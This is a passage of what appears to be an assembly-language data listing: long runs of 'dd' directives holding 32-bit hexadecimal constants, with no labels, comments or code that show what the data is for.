311CF218h, 4A2DF0FBh, 0E513EEFEh dd 51C0AD48h, 0EEBF5BFEh, 5CB325B1h, 0DF04ECCCh, 3D7DC008h dd 40D0E6B9h, 71A23FFDh, 927D351Ch, 0EDB70F81h, 0F5CFD316h dd 318EABA5h, 63D532Dh, 0AFE8DABBh, 5E4EE74Ah, 2DA0E0A6h dd 0AF0A5433h, 9F11BB35h, 0E8C6DB0Bh, 951641EDh, 5569347Bh dd 5527C3B5h, 800FEFA2h, 0E98B2EF1h, 0F9D5E05h, 4709BB66h dd 2F4ED770h, 0B9D6FDACh, 7230A8D7h, 4777D39h, 0F729361h dd 9264AE88h, 346A97CCh, 68E4EE68h, 564AE901h, 0FB1BA380h dd 0C06D00A3h, 69164C52h, 0BC4CF2ACh, 689E004Ah, 124856BBh dd 42291CDEh, 0EC9940CFh, 93407628h, 0EB217D03h, 0B8C9D53Eh dd 506CC4h, 7E556EDh, 0A7F6AD13h, 51E732F4h, 0CC77271Eh dd 12738C87h, 740D3700h, 4AE0B794h, 0E18E0334h, 88DD6D31h dd 0CC6C222Ch, 70063001h, 0E5D8B3A4h, 0AD2E00D4h, 9A040FF3h dd 5900B764h, 0DE9F021Eh, 0C5FFE6h, 20CD036Ch, 0FBA372F0h dd 0B7079200h, 0AA6C78Dh, 66020212h, 9D0113C0h, 0D057E5E1h dd 0AEA18ECEh, 1844B9FBh, 8D0D67CAh, 9AF30034h, 0DE841AF5h dd 0BF28DF31h, 0AF00F72Fh, 9DB64936h, 390CB9F7h, 0E09F9707h dd 0AB3C707Ah, 5B00F923h, 0FCA2735Fh, 31FB882h, 2BE5660Ch dd 7590EC24h, 9300D338h, 0E70D1477h, 9D09FFh, 0BA61E023h dd 0A11B74B5h, 5FF66A60h, 2F0DB387h, 0BD4A712Ch, 257B210h dd 61691FAh, 6A0C37DDh, 8B8483h, 2159601Ah, 838748Fh, 3F5FB30Fh dd 4E5A4B4h, 69574F4h, 0F00C6BA7h, 0B3003B8Dh, 0C44FE05Ah dd 4D6892h, 63C853BCh, 1464EFAFh, 280FBF48h, 73008DA2h dd 9ABB9D78h, 62B2C5h, 1F88B13Ch, 99D22BB6h, 17FBDF00h dd 8FB95187h, 81E4003Eh, 4FF58CA1h, 2D0171A2h, 31F5FF7h dd 7E8086A0h, 10C76DC6h, 34016AA7h, 0D0CE44A9h, 0C8DFE045h dd 3967ADFh, 22B7D08h, 70D78F48h, 6FF51BADh, 79AA0600h dd 4136DBBFh, 0EEC23025h, 2E97F054h, 0B60F807h, 43809608h dd 33ECED0h, 336BA9FEh, 2D0E64C7h, 933992h, 94247A9Bh dd 0B0F7006Ah, 3F42EB3Ah, 0E1000699h, 3E121F49h, 0F392D55h dd 0A05ADB81h dd 53851C5h, 4A8AEFECh, 6480AFh, 930B0459h, 7003A308h dd 0F320C52Eh, 51F798ABh, 0A286A0A4h, 0CAD4033Dh, 6539DA3Fh dd 9B559698h, 215AF301h, 108E8367h, 0E42DF8h, 8D0A4AA9h dd 0AE3EC8EAh, 0C22F9218h, 0D5FC55C2h, 820F1169h, 0BB60AAEAh dd 0C32F58E3h, 862B6060h, 906872Dh, 0C7FD454Ch, 439B1403h dd 72CBD20h, 4E420B23h, 8FABE37Eh, 574031DAh, 9800015Ah dd 0D13FA42Fh, 11D8191h, 8DE529B4h, 0CC382063h, 0B00F6B7h dd 462AE465h, 489DD3CBh, 330438E6h, 90167CA8h, 1CD64739h dd 8EDD1518h, 88017B84h, 6E06A70Ch, 4AADC909h, 1F780C2Fh dd 760F50B3h, 4FC479C7h, 637FBF11h, 0A01D4EC3h, 2009447h dd 0DA3B1FD9h, 0DF34C4h, 0B5DE6935h, 1970D10Fh, 9BB74701h dd 7E09A3Dh, 0A08510F8h, 6A6884CFh, 3E681705h, 8D863380h dd 0EA533AD5h, 322DB21Ch, 921D1F7Dh, 497518F8h, 207E1EEh dd 0F0D48ECFh, 96603F23h, 7B03D060h, 5874049Ah, 1B2709F5h dd 30811CC2h, 7F8F80E2h, 5EB6BE00h, 4CD740h, 0DEDFD2FCh dd 677D1322h, 0FF14C100h, 0D641938Eh, 29C363ECh, 82D0E830h dd 6B0033E0h, 0A84E7702h, 9E6D27h, 0F5F1B274h, 0E1305A18h dd 932BD00h, 0C64DFAA0h, 1E4800D8h, 0EE7E1B3Bh, 9C004267h dd 6D568E5Eh, 54F4406Fh, 85C813h, 57B996F3h, 0A17A9A97h dd 0D565CE00h, 21746B95h, 0B85F00B7h, 948D40A2h, 61036F1Ah dd 53A91DC3h, 7FEE008Fh, 0DD369B26h, 0DC0331C1h, 0C5284433h dd 0EB1E0065h, 45832992h, 12007B98h, 625C9319h, 4DB6AEh dd 0F1AD68BDh, 4973D66h, 0EE749F00h, 88137C22h, 813B006Ch dd 0F228769Dh, 0B790055Ah, 0E51DED01h, 83406EB2h, 144C497Ah dd 36C6ED80h, 1690971Ah, 0E41F7F7Eh, 8A9DFF54h, 1F0C5153h dd 9F1A82h, 0C3EDBC76h, 2214F2D1h, 0D0008D79h, 7231E6Fh dd 0E586A4h, 1079D27Fh, 85E16480h, 0CF58FFF2h, 73591999h dd 0A040F279h, 491E3ACAh, 32002CB4h, 2AE94ED9h, 911C3E74h dd 65C61C82h, 762099FDh, 0C7AB00A6h, 6DC2524Ch, 0B730D3A4h dd 29821F54h, 2E3558C0h, 0C2C72800h, 0E7F20E9Eh, 0FDF6D01h dd 0B419A4FDh, 4CAFFD30h, 5300025Ah, 0EB45D437h, 0A91202FFh dd 87007003h, 3A2663FBh, 75B98AAh, 32F8EA8Eh, 316D604Ch dd 0D738F38Bh, 7017CCCh, 9CF181DAh, 0EE60ED75h, 5A83060Eh dd 0E4BF76B4h, 2487A312h, 0BD52C340h, 98C04B53h, 35C509C3h dd 78A0A0F5h, 545FD379h, 121F575Ch, 0F700F952h, 452F830Ah dd 89E63172h, 0E82B8E92h, 597007E4h, 0D5619737h, 50F6430h dd 7FF31899h, 31075C5Dh, 85A1E10Fh, 0D50F22h, 0BE0C817h dd 16BB3CC2h, 0D67C93h, 425CB7ACh, 0B4075F0Ch, 0FE1A5AEAh dd 7D4B5B0h, 0CA7000C9h, 613DD237h, 1B7444D6h, 7A3F7D58h dd 0B0EE251Ch, 9480D5C1h, 0E4F6640Ah, 0BB1604CFh, 0D46FA75Ch dd 36E9888Fh, 78DD6809h, 12CF009Ch, 59149FFFh, 4C029BAFh dd 0EB50DBC3h, 84E90540h, 8506F698h, 4EC8152h, 1678BF5Dh dd 0C3F6E3E6h, 0EB830BA0h, 1CC387ECh, 4E27685Ch, 0CD91E1Bh dd 14117EF2h, 59C660F1h, 17D5500h, 52BDBF57h, 81170EB2h dd 0F3C7FAEFh, 0EF7606Dh, 0A000C2D6h, 295FFE89h, 625459CEh dd 0C481448Bh, 86A03FADh, 8428F6Dh, 15567A25h, 15C681E6h dd 2A870C66h, 8FF5C35h, 0F4C5886h, 0FBA530E9h, 1E565F60h dd 1200C9BDh, 0D94BB88Ah, 7F0307FEh, 0F4E005C5h, 76E2A75h dd 603914C0h, 220C6663h, 5A4B5500h, 595E7827h, 4E8900C7h dd 441A342Dh, 2A007F0Ah, 5107308Ah, 79497B9Bh, 6B1201A7h dd 6A70ED1Fh, 4263F8F0h, 134E7500h, 521DA41Bh, 58E0004Ah dd 0F178AF11h, 2D26CB0Ch, 0BF003181h, 95BD51EAh, 0FE3600D9h dd 334EF2AEh, 4F019F40h, 6A978D7Fh, 1C319ACCh, 0AEDD123Fh dd 3A049D7Bh, 0A8C090EFh, 22B2036h, 53BFBB50h, 37D419CFh dd 0C9187D27h, 0CA97258Dh, 7B297B6Eh, 29DED8D8h, 40718D4Ch dd 0BD4A8B26h, 0DC8590E5h, 0A8FEDC37h, 0FDAD6B0h, 565E0880h dd 0A36068CFh, 6DB01ADAh, 0C6DD8A17h, 6F6A4BB9h, 333D00E6h dd 31623564h, 9B14E95h, 0C0F66AECh, 8A9D29C3h, 5396F51Fh dd 403FCD97h, 0FD8B5E77h, 40EC4D4Eh, 8005A9D3h, 0CCF9DF81h dd 0C6D148FFh, 0A13FBD06h, 0D7161A1Ah, 74A209FCh, 3DDDDA89h dd 605B800Ah, 506E2CBFh, 0C6B62F4Ah, 82297076h, 0D4D4E257h dd 0AA28DCE7h, 0C520A586h, 0BF660501h, 0EF8BADBBh, 0CD3AE889h dd 0FBF43F10h, 11A3028Ch, 487115B1h, 497A5DEh, 0CABC48FDh dd 0EB9F9407h, 5B318106h, 297A9557h, 0D46A2ABAh, 40926601h dd 38F93BCCh, 24B080C8h, 4A144478h, 0CBAEB997h, 0AEA6000Eh dd 0B592E970h, 4120AF1Ch, 0E7FD80DCh, 0F3F74B21h, 8512432h dd 37FC8801h, 0DD3A5F06h, 0A86A3A44h, 95E6957Dh, 8BDB8101h dd 906B0E10h, 2E76307Ah, 0AF00B380h, 7247A3DAh, 2D990663h dd 0AEE4699Bh, 744D0C01h, 8875EB84h, 753617C8h, 0F8A00F2Ah dd 0E380AA02h, 0B638BB66h, 904F5F71h, 0F1804A9Bh, 6360B78h dd 76ADB64Bh, 8C1BB8h, 74D0F20Dh, 0F616EC39h, 492D3698h dd 27116708h, 67512073h, 46DDCFCh, 63A8FE90h, 9CDABAB4h dd 65C01DC8h, 22E6456h, 25B92CC4h, 0DF82FB0Fh, 35C0A24Ch dd 6D95FF6Ah, 606EC2C2h, 10013061h, 0BC5A57F9h, 8055252Fh dd 4ECF81EDh, 4C1501B2h, 399D0B51h, 5B1A9617h, 0EF3443B6h dd 20FC0547h, 0C525811Ch, 82B00323h, 9126160h, 0BD0101C2h dd 618C502Dh, 0CC9870E6h, 40CB799Dh, 7FBD0C2Dh, 0A1171600h dd 0C7296725h, 187D0B96h, 99DFE8A0h, 35A7AED3h, 40AD8AF1h dd 8906BA63h, 0C2A03EF5h, 8F0908C7h, 0D8A50B0Ch, 0EACDD20Ah dd 0AEB3B725h, 88D14B76h, 291657F1h, 5452A595h, 758506AFh dd 0BD132B11h, 78AC1479h, 6D25898Fh, 20091C0Ah, 591EAD27h dd 111D917Ch, 750AE8h, 1F782518h, 2B4B041Eh, 0FA8374Ah dd 33E95BC2h, 9540C657h, 8084567Eh, 842132EBh, 0E5216A1Fh dd 0D9092A65h, 20EF0C27h, 67890E17h, 0E1616ADAh, 2A094CDCh dd 210122F3h, 0B8777476h, 6B064D38h, 0BEA3AF1h, 192D79D8h dd 0F4995410h, 32498C00h, 0C5EEA11Eh, 1B9183Ch, 59BDDF09h dd 0C6911F41h, 8DC44F81h, 2209CD04h, 859D0E18h, 9AA6245Eh dd 1DB50104h, 0A399FA35h, 0D417D41h, 0D1855989h, 95A93CF5h dd 0FB704A53h, 0AF7D0097h, 80E25FC4h, 61B551E7h, 0AC205B52h dd 0AC074E93h, 5760C065h, 1DE815Fh, 6A2DDFDAh, 6E880D61h dd 88FFBF75h, 7B074933h, 0AE078E6Ch, 21AC4784h, 93B8A8D2h dd 3CBF8AAEh, 0E34FF62Ch, 16ACC9A9h, 210545B3h, 7080EFEAh dd 28CF09A7h, 41C5032Dh, 3E926415h, 33B2394Eh, 8AB2DAF5h dd 0B404C467h, 0C1AFD780h, 6E0B25AAh, 0F3A041A7h, 0EE7EBEF7h dd 1ECB321Ah, 0B883C0AAh, 4814B5BCh, 73977F70h, 0F37AD0D5h dd 0D3B2E601h, 0DCF216BBh, 9D3FD87Bh, 0D6178925h, 1446DE7Ch dd 6B59977Bh, 5AF5397h, 0E9E1FF78h, 0B92BB97Dh, 45692D14h dd 4FE21A91h, 0F051897Eh, 0C501BADh, 568E0A5Ah, 6001A722h dd 74BAF4BFh, 77303101h, 0F0449D21h, 41850913h, 0B5F90EF0h dd 75ED280Bh, 9DFAE4C4h, 99A08BB4h, 6B1D512Fh, 1D4080EDh dd 12C79C47h, 0E1815893h, 14743F58h, 16A96AABh, 30BBEA60h dd 21745804h, 13FB9A4Ch, 5D6F2404h, 4D62E300h, 68A6DE7Ah dd 48424030h, 3D5ECEBFh dd 0EF0444C2h, 0FB9710E5h, 6C991820h, 787758A4h, 107C8130h dd 694B0E1Eh, 0F877756Eh, 0DC609EBh, 385D3291h, 0B71D51E4h dd 18C52DEEh, 70EB1525h, 0BF7816Ch, 37C9D10Fh, 5B0129E9h dd 202CD388h, 0F925D9B5h, 3569BCh, 7DEA3F87h, 41A860F5h dd 86CE4DDh, 810F3211h, 25D50FC2h, 29A86158h, 5BDB80C7h dd 22BD8D02h, 0A73AC5F7h, 8F40746Dh, 24F9EDA1h, 0DE4A0689h dd 60CF6D00h, 5682BA66h, 616824B3h, 0CF80C1A0h, 6A176AC9h dd 2F4408BFh, 3853960Ch, 0B2CF4B8Bh, 33BC003Dh, 28CBD455h dd 0A3C20054h, 759CDD2Fh, 49000693h, 0F7E0D5E4h, 4B5F615Ah dd 3493BC50h, 3DB650C6h, 9C7087E0h, 0FBB99E26h, 23F88616h dd 0B63AF445h, 84B6F00Ah, 981325DDh, 38898710h, 2B551800h dd 395BE0C9h, 71011EF9h, 7FF3099Ch, 40813505h, 8C5D689Ah dd 50038805h, 7CF0BF52h, 31F48F54h, 0CE8060E8h, 0DFAAFE82h dd 51038600h, 6526F33Ah, 88D35F4Fh, 0A926D8F2h, 7E05A0B3h dd 85FA5BBEh, 0A2DA41E5h, 6A781977h, 0E380E5DBh, 9BFE55FDh dd 0B41A7413h, 405DCFCh, 0BF858DEBh, 2328677Eh, 0C64016C7h dd 7884F250h, 1F36B02h, 60688BABh, 34CFA4DFh, 0BFCE89D6h dd 5280DD65h, 31616006h, 0E34E40B7h, 633D6A65h, 80B79A2Fh dd 0F299FF4Fh, 0D2D90084h, 80E723F0h, 949FBEEFh, 9E385E39h dd 9890C95Ch, 0ECE364BCh, 22A93D19h, 3F5127A5h, 0CC60E349h dd 0E4CE3BEAh, 0AD018B6Bh, 3A2664BFh, 24296A7Fh, 88C92EE6h dd 0F860FC69h, 2740EDBDh, 9AD4A561h, 95D3768h, 0A3335DB6h dd 7A227DB1h, 481AE9Ch, 5AD030DBh, 0C052FC1Eh, 459F23BFh dd 964DBD67h, 0F9621464h, 1DED85E0h, 0F83C9681h, 2E55809Eh dd 6E88082Bh, 0BD9E7800h, 60CA4149h, 0B0E64B8Ah, 502D5B53h dd 133D3796h, 0ECE017D0h, 9755C011h, 0E478E227h, 0C5FD00D3h dd 304A1289h, 1C2948FEh, 5BAD9CC7h, 418F7830h, 0F3EA7AE8h dd 5E0FF097h, 0F66413B9h, 301AB229h, 861FE03Eh, 0B356C6FEh dd 39A6DC8h, 4F8707ADh, 2F901FE5h, 0F2F928Fh, 50ADFC8Bh dd 0F91F0221h, 74C4C744h, 47FB798Ah, 0B2E66E18h, 74C5F4Dh dd 0E95ADD98h, 4DED4C84h, 47002DECh, 49A384ECh, 96A23BBFh dd 0C71A40FCh, 110173B1h, 0AF7DFA1h, 2770D6CBh, 7C60624Eh dd 0CC5F0CCDh, 672302C4h, 61E7EF87h, 89246CD4h, 36801FCh dd 0F489DF53h, 23FAE0B3h, 7CF56031h, 0E26F02F1h, 0F9A697B5h dd 0FF2EA1E0h, 0BCC56E1Eh, 0C41AF42Fh, 7505BBBFh, 65EA1079h dd 0A18EB6F7h, 8C2EBE94h, 0F9953169h, 0D0E227B5h, 0F1967860h dd 7E373F2Fh, 0C10A5576h, 0B504D5A7h, 31020D71h, 774A2995h dd 0B7B8D125h, 0B314B072h, 0A3911363h, 0E99400C4h, 6E96EF81h dd 334E2C02h, 92116D9Dh, 9A4EDDCDh, 0B8E3F717h, 0AB9CA95h dd 8E00D5E8h, 1676430Eh, 0C02F5C88h, 7CA0F35Eh, 2D20BD2Bh dd 7272C00Fh, 961B8A17h, 2C5D80BFh, 0C012E9E0h, 77229A51h dd 6500F126h, 0CFEA01D0h, 53483BCh, 0CB29638Bh, 0FE90EE2Fh dd 2F1080BBh, 0CA49198Eh, 0B8982D96h, 0EAED00E7h, 3BB5D503h dd 0CC95CA60h, 73E5B768h, 0BD1DA438h, 0B2EEC4E0h, 8A4B5AEBh dd 8A8872D2h, 529609DEh, 0E2A058B3h, 24E58529h, 616971B7h dd 6A0C5DD3h, 1FFD7F17h, 9094DECh, 0F505499Dh, 66C09B15h dd 50A9D802h, 0CB34E9h, 33FEBD05h, 5F28CC7Fh, 8D9FA600h dd 5174C8EDh, 0E7D516C5h, 3FFDB186h, 82EFA834h, 7CD45BB1h dd 0BC155851h, 53112F59h, 181779B1h, 26203E98h, 4D858989h dd 0EAC6CA24h, 0AA92BEDEh, 0B134681h, 97A2D2DCh, 1CD91F5Bh dd 0B3387A18h, 1F751789h, 0E9F85613h, 0F033E702h, 82D4C7E9h dd 70BE5B25h, 0DA012582h, 2FEC8021h, 0ED2F892Ch, 968B3A82h dd 60BFDD8Ah, 2F419D7Fh, 0E67782h, 935E98BDh, 0D0330369h dd 0F38CF1AFh, 0FDD6EFA8h, 2B13EA7Bh, 0DBAA389Fh, 86EBC033h dd 4F7C487h, 0F2CD53D9h, 3FB6FB90h, 0E20280F0h, 336E0518h dd 17EBC4E6h, 0A05307FEh, 4D985BCAh, 0C2364625h, 82E1D7ADh dd 0FBFFB118h, 917C8D0Fh, 0E55E09A0h, 86C43800h, 0EC0A6EEAh dd 57FE06F9h, 0B0457C61h, 0B0076071h, 0CC780CEh, 0F86CBBC0h dd 0B6247610h, 3B130BB8h, 4DCBDDFh, 0AEC7719Ah, 0CAEFCDD4h dd 22D9A09Bh, 9FFB09B4h, 35751F88h, 851591F6h, 0B480E1DAh dd 0A7A0791h, 0D1BD2365h, 6EFF9DAFh, 58131100h, 3D3FC187h dd 0F76E832Eh, 3B72122Ch, 9489D3E2h, 0B8A5BD5Dh, 7983EF81h dd 36026A2Ah, 0F764F035h, 88365E79h, 1D00123Ch, 8C0A0E17h dd 2C3DB8A2h, 0BD53A1h, 8A903482h, 0BD9050D8h, 0B7DB6EEDh dd 0A6C6029Ch, 31FF9040h, 26C5B56Ch, 20FF9D7Eh, 1F4021ADh dd 8EF14BE9h, 8ECE248Dh, 0DEA1F625h, 95091204h, 874E0675h dd 173948B1h, 77BF2D71h, 0F59DC34Dh, 810FA30Ch, 6660310Bh dd 1B0C2801h, 61F8BF0Eh, 0CD0B8190h, 0B26E191Fh, 8F5727C5h dd 5C04F38Ah, 8EFA1455h, 0B0EB46D0h, 6710C2FBh, 49E9582Ah dd 0BBCDCF57h, 28876ECEh, 0E94CD059h, 299D85CAh, 2DB5E220h dd 35578111h, 5CCA58h, 0F60123C2h, 90A4496h, 0B1A843B0h dd 0AD2370E6h, 0F5840074h, 0DC85E1BCh, 2C00F424h, 1C18B909h dd 165171E4h, 9E9C3BFh, 0F05A5B9Ch, 1031F244h, 220B1B5h dd 2553F9BFh, 3CF55657h, 0C14EF004h, 96FAAC17h, 9F7BD0ADh dd 7D4B5E7Ch, 96E63B00h, 9F025B0Eh, 1B13828h, 0A5DE56B5h dd 0BF4E80FFh, 0B5092F87h, 0B17CAFAh, 2752D5BDh, 87B19FCh dd 0D166713h, 1FC6000h, 0C9295595h, 0F92E949h, 7256EA55h dd 978A7828h, 25070F04h, 75E90BBEh, 69F9D06Bh, 90F472Ah dd 57E97D7Eh, 0FBF4BD6Ch, 0F5BE930h, 6319BD33h, 0FF8D4D25h dd 220035Ah, 3752CCh, 1E2B24F1h, 0E6B0E0F8h, 103D6112h dd 43120B87h, 44265C5Fh, 31EA532Dh, 0F0F1FE3Ch, 832815BAh dd 4CF733A5h, 0B97F3CB9h, 98652900h, 0FD50DA2Ah, 958929B4h dd 346C2587h, 0C2656920h, 0BE35DB84h, 0F5A02BFDh, 255BF7A9h dd 80181859h, 0D21EC509h, 1659418Fh, 0E9CDBA48h, 0A864B902h dd 6960318Dh, 12115C8Ah, 0E2D88BB4h, 2C11144h, 9D852904h dd 1BB6752Ch, 5365B2E0h, 1155909h, 0C02B129Dh, 25A8022Eh dd 0DA6DD22Bh, 82AD57C0h, 368B4860h, 61F0B709h, 0C7FDCF57h dd 80100E1Ch, 6B3BF6B0h, 566809ECh, 3E229FE1h, 0F975164Fh dd 118F00B3h, 38EC5B05h, 2E12E517h, 0B516D5F6h, 0E452AF3Dh dd 0F0E02FE6h, 1E7EDF32h, 34A7E206h, 2621880Dh, 1327F560h dd 5B42CAF2h, 38A010B6h, 2612CAFAh, 6A95800Fh, 8A0720ABh dd 21004B6Ah, 0F5A89047h, 254201F8h, 0C1CD5F80h, 8C601864h dd 832FE288h, 107200C2h, 258589F6h, 0BCF92EEDh, 0B562827Ah dd 27984433h, 0F3D4294Dh, 213B7E71h, 2F76F40Dh, 1C88C2DAh dd 553D1C0h, 0D3820475h, 0B9113F9Dh, 4F9AD275h, 3ED2DC9Fh dd 2E724804h, 0C996F8CAh, 83CA572Bh, 0FB378877h, 9AE1FF8Bh dd 16597FB6h, 2DE62487h, 0BC4B97F0h, 55B9F7Fh, 0DC2A564Bh dd 0ADDF571Ch, 81BD09C2h, 0D1F15527h, 0AF523FC4h, 0EC2AD489h dd 0A5F5A3D5h, 117ABBh, 7B690B21h, 18E2DA4Ch, 725237EDh dd 0B78010A1h, 68606BDCh, 0CED318F5h, 86E49DD4h, 6E99D303h dd 0EFC7917Fh, 533CC000h, 9EDEEC6h, 0AFB01FCAh, 0E3E6805Dh dd 975BA4ACh, 0E14DE80Bh, 874EE5C0h, 8C2E01DCh, 95BD2906h dd 18B63E14h, 0A6A83E5Dh dd 5309A497h, 0A0ABA7FAh, 97FFF7BAh, 0D9271270h, 0E0CF4C26h dd 228B0195h, 14FF747Eh, 19A3C8A0h, 66F6EC25h, 1D0D9D9Bh dd 1C322E07h, 90D7C0F5h, 50DE288Ah, 0DDCD3CC5h, 80AADB4Fh dd 0CB3E8B21h, 0B09B17FAh, 0DD0A30EBh, 1FA7B6Eh, 376A5325h dd 0ABB08080h, 0F76806A8h, 9AB5C100h, 93824EBBh, 4182957Ah dd 16E24208h, 7805EB7h, 0C9BAA9C1h, 84C0B31h, 17761513h dd 0AC22A140h, 87B4006Eh, 0C88D9052h, 9B134B14h, 52C2A2C3h dd 45F052Ch, 0BD692BA5h, 9FA9231h, 0B08981B1h, 0F4BFD5h dd 49BB4DFDh, 0A7EA1187h, 0E8072908h, 80D1800Ch, 6C7F933Ch dd 3D175202h, 779DC7B6h, 5F020C51h, 7E01B5E9h, 0A8759304h dd 0F7F8A272h, 0C2D240ECh, 0B72A21E1h, 6509B5ECh, 0A0367927h dd 0BE8E3E97h, 0DE9306A4h, 0AD5AAE07h, 0F46B80C7h, 6DE30914h dd 8FA6BCD3h, 0D8C103D6h, 8A724F1Eh, 2FFA8BA9h, 95D63D1Ch dd 5001ECA9h, 0EBF0FEBFh, 8B117A49h, 2D13BC8Ch, 0E7E6DB73h dd 1E1049Dh, 0F4E93A1Fh, 77C012F4h, 142DEA8Fh, 0BE97B25h dd 74864607h, 5B72A2C7h, 6969EDF7h, 26171953h, 51B09AB8h dd 691719BBh, 4519346Ah, 53C4603Bh, 0F561715Ah, 0B01964C2h dd 0A6F85E13h, 301CB2D0h, 7700C683h, 914166Ah, 4B8932D1h dd 289FE9BDh, 0C428FE90h, 700CCB02h, 1632FC60h, 0ADDF4B8Bh dd 8C18AC25h, 88AF3104h, 30FED58Fh, 0FC2DCB9Ch, 30964001h dd 9807E8EAh, 4C2AB33Bh, 59CB1455h, 0EB00758Bh, 8275F10h dd 2F0183BFh, 0E4511BA7h, 1F39B5C1h, 1222220Fh, 0BD37E9FCh dd 0BD9AECD3h, 255F5CFBh, 0F8B5BA31h, 9012142Fh, 339B5F57h dd 1BDDBF93h, 69DE202Ah, 130E2C76h, 60725559h, 6E5F6056h dd 2EDA9065h, 1629F6CDh, 0CB3CEADDh, 0F7818820h, 0E129397Fh dd 0D66F767h, 26F39D26h, 9E94C78h, 2AD78030h, 2BAF8555h dd 236B6FBEh, 3A043F18h, 0C1FB1998h, 2FAE16E2h, 74E36735h dd 61C2FC25h, 0D0925357h, 0BF70712Fh, 282B0816h, 38D96BEAh dd 84701Dh, 0EE7123FAh, 6BE94995h, 0FAADCA2Fh, 611740D1h dd 6A8D2925h, 9FF278A0h, 0D852355Eh, 0B30780DDh, 0A1449D98h dd 0DC13BCh, 189CEA1Ch, 9D33F3A9h, 0DAA531F4h, 9723D825h dd 0BE1C621Bh, 7D207D8Dh, 30E53429h, 0A2C064CBh, 37FC1E56h dd 0B8E5DE80h, 23B94B6h, 884DF861h, 325E83BDh, 61CF4F25h dd 0F0EDD1AAh, 0D009A927h, 5234585h, 9DBA1841h, 67202AF9h dd 70AF4933h, 0FD53B790h, 44AEC5Ah, 0B55D49C1h, 0EAC4AF33h dd 5D99AAC2h, 2B7DE46h, 5C1F2C76h, 7DCD27C3h, 0C29B5CC0h dd 0A5B52431h, 0E166A5F6h, 65185A0h, 2D644E9Dh, 175CDAB7h dd 7D1F09F4h, 0E6D57EE7h, 95BD12C7h, 9FEAB234h, 70EADE53h dd 0EB8CCFF9h, 3DB5058h, 0D18A5FB3h, 52BAE861h, 6124EB5Eh dd 0AFED97F9h, 0C1EF9068h, 8E0FAF93h, 2FEF8D6Bh, 6A7A53DDh dd 366F008Ah, 0C562ABF2h, 98963AB8h, 22828A4Bh, 0E5EE976Dh dd 5B24A927h, 209BA83Ah, 965E26E9h, 108DEC49h, 2769BF4Fh dd 0A0E98A23h, 7DFC1209h, 5712705Ah, 0B337E3EEh, 0E8A1D090h dd 9B9F0284h, 14486627h, 4B237857h, 6F20C45Fh, 0A04917ADh dd 3C910CA9h, 5C7E3A00h, 2F18F2C5h, 8A023B90h, 0BE224B3Dh dd 0FD4C7DD3h, 777311A2h, 715B5B28h, 174C3DA9h, 219302ABh dd 213BBFFh, 0C75CF434h, 0D5B52962h, 0C9564DCAh, 0E1816DD2h dd 214CF16Fh, 48E26F8Eh, 2975B509h, 43AFED73h, 0C6253805h dd 0BC56BD5Fh, 0C2D917D4h, 5B7BBFB6h, 0FA46605Ah, 5A00D351h dd 0D7627D50h, 9A059589h, 0A2F84EA4h, 92DB4E4Ch, 17A36A83h dd 0F3B9B2F8h, 2AE45582h, 2C219517h, 496D3FBFh, 3DDEC156h dd 0F77B0B77h, 6781346Bh, 0D9854287h, 777BD7AAh, 2FD3CA8Ah dd 0CBBED25Ch, 37804B9Eh, 466EAEE1h, 0B3004578h, 88C78151h dd 0B5109EA3h, 49623276h, 77E40CDh, 81F4B9E3h, 73609ADBh dd 14B8EC16h, 0EE097B00h, 0C03AEC9Dh, 0DA6C61B6h, 7EFEFBC9h dd 2389F31Fh, 7E905CFAh, 0A2021846h, 7AAA2B60h, 4E88D768h dd 40C0FE82h, 71567876h, 0E7864B00h, 1C5BD5A1h, 0FB660168h dd 0D787DFB1h, 3C5EC5B0h, 5C378010h, 0F6E2C54Ch, 13D6E808h dd 0BEC52CBh, 0AF76DEFCh, 53DDF25h, 60B52328h, 5ACF8086h dd 2318891h, 0EAF4BA00h, 0DA267E44h, 32720264h, 0BD099659h dd 5BD425D5h, 71ECF525h, 0ECA01058h, 8A25098Fh, 6830EDFCh dd 0DBCB6F56h, 2817D75Ch, 0AAB484A8h, 0AC8FACDAh, 0A60938DFh dd 2C180EEAh, 730B8C71h, 7C89F182h, 0F8D189DEh, 79442079h dd 0D189054h, 8902DF2Eh, 26F49D4Ah, 0C3869F60h, 61713BB5h dd 4A569058h, 0FB8917BBh, 70BF5230h, 6C1E2C74h, 88501635h dd 1DEC206Bh, 74EB2500h, 78291E2Ah, 9D450913h, 89FF4071h dd 5EDFDB0h, 1D0FCC7h, 9CA7AFD6h, 27C60B82h, 6F5242B1h dd 2215408h, 0CA1E95Bh, 0D358055Eh, 903181FBh, 47C32F4h dd 0EA06FCEBh, 0D938822Bh, 0AD33F955h, 9D84A2F1h, 9001181Dh dd 2150F98Bh, 360D820h, 21F5854Fh, 3E75E33Ah, 34F91001h dd 49318851h, 0F6EA1254h, 868597BAh, 0ED2EB6F1h, 5C37A993h dd 0FC3A4000h, 6AB8F780h, 3CF6FF5Ah, 81B330E5h, 4AE282DBh dd 0BE87E58h, 6DFA2D6Dh, 0B655E043h, 0B90107AFh, 0EDF738BEh dd 622FF53Ah, 7A2C3706h, 105B0BC4h, 4FFBB038h, 2FFA5025h dd 4A52D9B7h, 0CAC0DF10h, 0ABA41588h, 0E7AC0A92h, 8644608Bh dd 1E2C1302h, 40D1F33Bh, 1259F1B0h, 4BA18529h, 72A361A1h dd 0BAB2FCD6h, 0ED8273ECh, 9FA14CFFh, 58A5CF79h, 0AFE70414h dd 54494234h, 8887C0A2h, 13C0D317h, 0BB36C789h, 0B82E0A8Dh dd 99BDC2EDh, 0BC5F0433h, 0D4E5022h, 0C82B81C4h, 0D19A4EFAh dd 0B4ADDF80h, 9360E932h, 619D2943h, 155CB907h, 2D122D01h dd 7F1DF208h, 150ADA6Eh, 0CF270055h, 42E9FE33h, 0A5360058h dd 153D0438h, 0F828CE95h, 0DF4BC45Bh, 292924D2h, 5669A654h dd 80AF477Dh, 950D6E77h, 0A516F63Eh, 0E045DE40h, 981DEDC0h dd 2EDE721Ch, 2DFBB282h, 64405E6Ch, 4E28AEF9h, 3EB2580h dd 231520ECh, 5895F19Dh, 667E407Fh, 0DC94BF17h, 75C82FA9h dd 6140D12Eh, 5F45553h, 0D77AFCBFh, 0DE35964Bh, 77ADE5BEh dd 16173235h, 23A3A560h, 0B26026A8h, 61F209C6h, 82C14888h dd 0F9BD3157h, 0E140D354h, 4E9509FCh, 7BB687F1h, 0BE77418h dd 36338705h, 12FDC02Bh, 9409E5B8h, 7BDED60h, 0C1A2C7ACh dd 6E3F5DBAh, 857B9000h, 172ADFDEh, 128BBBD7h, 0D002E6DDh dd 3925FC5Ch, 0B6488396h, 92028842h, 19D7180Ah, 